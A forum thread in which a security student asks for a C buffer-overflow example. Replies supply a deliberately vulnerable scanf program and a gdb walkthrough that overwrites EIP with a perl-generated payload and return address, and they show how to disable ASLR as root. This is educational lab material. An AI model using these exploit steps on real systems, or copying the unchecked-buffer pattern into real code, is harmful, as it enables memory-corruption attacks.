Jump to content

C program buffer overflow example


cppisfun

Recommended Posts

hi, i'm taking a security course and I was wondering if there were any experts in C that could show me a small buffer overflow example. It can be something as simple as trying to copy a string that's longer than a character array that's defined in the program. I was also wondering if you can show me how a driver application could run that program and try to make a call to a function that was not originally used in program. I know that theres material online that I could find, but I wanted to a real world example and possibly an explanation. Thank you. =]

Link to comment
Share on other sites

#include <stdio.h>



int main(void) {

    char small_buffer[5];

    printf("Please provide me with less than 5 characters:");

    scanf("%s",&small_buffer);

    printf("%s",&small_buffer);

    return 0;

}

I'm following a course ATM so I can't test it, but it should be something like this.

Link to comment
Share on other sites

Yea I've read the example at smash the stack and other examples online, but they only show you how to spawn a shell. I wanted to do a simple buffer overflow like the example you have posted, with just a small spin. Instead of spawning a shell, in the vuln.c would hold an uncalled function and exploit.c would exploit the vuln.c and jump to the uncalled function. I know have to find out where the SP starts at and look at the assembly, but I haven't found any examples how to make it jump to a certain part of code. I wanted to see if anyone had a solid example that shows this or detail tutorial that does this.

Link to comment
Share on other sites

From what I recall the way they do it is you start the program in a debugger (this is on UNIX. Not sure if that Dr. Watson thing on Windows lists register info) then fill up the buffer to WELL beyond its limitations with all 0xAA characters, and then see which of the registers get filled. I don't know ASM very well, but I think it was the EIP register that you want to see filled with your 0xAA chars. Once you have that, you find out which block of your data it is that actually gets placed that register. Just make half the data you write to the buffer 0xAA and the other half 0xBB, and then repeat with the half whose data is written in the register. Now you know where to place your first instruction, and can dump in shellcode from that point on.

Again, I'm no ASM coder. This is from memory about something I never really got into. No guarantees are made about either the accuracy or usefulness of this comment. ;)

Link to comment
Share on other sites

Thanks for the suggestion reading, I've actually found quite a bit of tutorials online, but again the exploit is spawning a shell. My intent to learn about the BOF's is to just try to call an uncalled function in the vuln.c program, it's a little different than injecting the shell code to give back a shell once the exploit has been reached.

Link to comment
Share on other sites

Well, you're chucking in shellcode. Couldn't that shellcode say quite a bit more than simply 'run a shell'? You have full control at this point do you not? The only limiting factory is payload size. Or am I missing something obvious?

Link to comment
Share on other sites

you're correct, but I guess theres my problem. I'm not sure how to inject the address of the start of the uncalled function. It seems that every site I've visited shows you how to get shell code, which can also be googled I guess. There hasn't been an example on how to get to the address of the uncalled function. I know you have to put the assembly into the so called "exploit buffer", but that's where I'm not too sure on how to handle. So I was hoping someone had a concrete example I could follow from and then produce something similiar on my own.

Link to comment
Share on other sites

you inject the memory location inside the buffer, so if we have a buffer that is say 512 bytes and it takes 516 bytes to over flow the thing, Do this inside gdb and take a look at the registers after you have done it

run `perl -e'print "A" x 516'`

That should give you something like this

Starting program: /Lab/Code/c++/buffer/buffer `perl -e'print "A" x 516'`

Your name AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Program received signal SIGSEGV, Segmentation fault.

0xb7eb7e01 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6

(gdb) info reg

eax            0x0      0

ecx            0x0      0

edx            0x20f    527

ebx            0xb7fcdadc       -1208165668

esp            0xbffff551       0xbffff551

ebp            0x41414141       0x41414141

esi            0xbffff5d4       -1073744428

edi            0xbffff560       -1073744544

eip            0xb7eb7e01       0xb7eb7e01 <__libc_start_main+49>

eflags         0x210282 2163330

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

As you can see we only fild the ebp up, but we need to also fill the eip, so what we do is see if we can also over flow into the eip by sending it another 4 extra bytes. Execute the program again inside gdb but this time send it 520 A's

run `perl -e'print "A" x 520'`

Once the program has crashed we then look at the registrys again and we should see something like this

Starting program: /Lab/Code/c++/buffer/buffer `perl -e'print "A" x 520'`

Your name AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info reg

eax            0x0      0

ecx            0x0      0

edx            0x213    531

ebx            0xb7fcdadc       -1208165668

esp            0xbffff550       0xbffff550

ebp            0x41414141       0x41414141

esi            0xbffff5d4       -1073744428

edi            0xbffff560       -1073744544

eip            0x41414141       0x41414141

eflags         0x210296 2163350

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

So what does this tell us? Well it says that it is going to take 520 bytes to overflow the eip, this is the register that holds the address to the shellcode. This means that if we load the shell code into memory and find the address of the shell code (i wont go into that, im assuming you already know how to find the address) we can pass that address to eip.

What we do is we send 516 bytes of A's and the last 4 bytes is the address of the eip so lets say the memory location of the shell code is 0xbffff8be so we convert that address by removing the 0x then reversing the address

old: bf ff f8 be

new: be f8 ff bf

we then add a x in front of each hex value so it now looks like xbexf8xffxbf and there we have it the address that we are going to pass to eip so now all that is left is to exploit the program

./buffer `perl -e'print "A" x 516'``printf "xbexf8xffxbf"`

Notice how we pass it 516 A's and the other four bytes is the address?

If you got the address correct the shellcode should of executed on your computer

Note: You will need to turn off the VA kernel patch to do this, login as root and enter the following

echo 0 > /proc/sys/kernel/randomize_va_space

and to turn it back on once you have finished just execute

echo 1 > /proc/sys/kernel/randomize_va_space

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...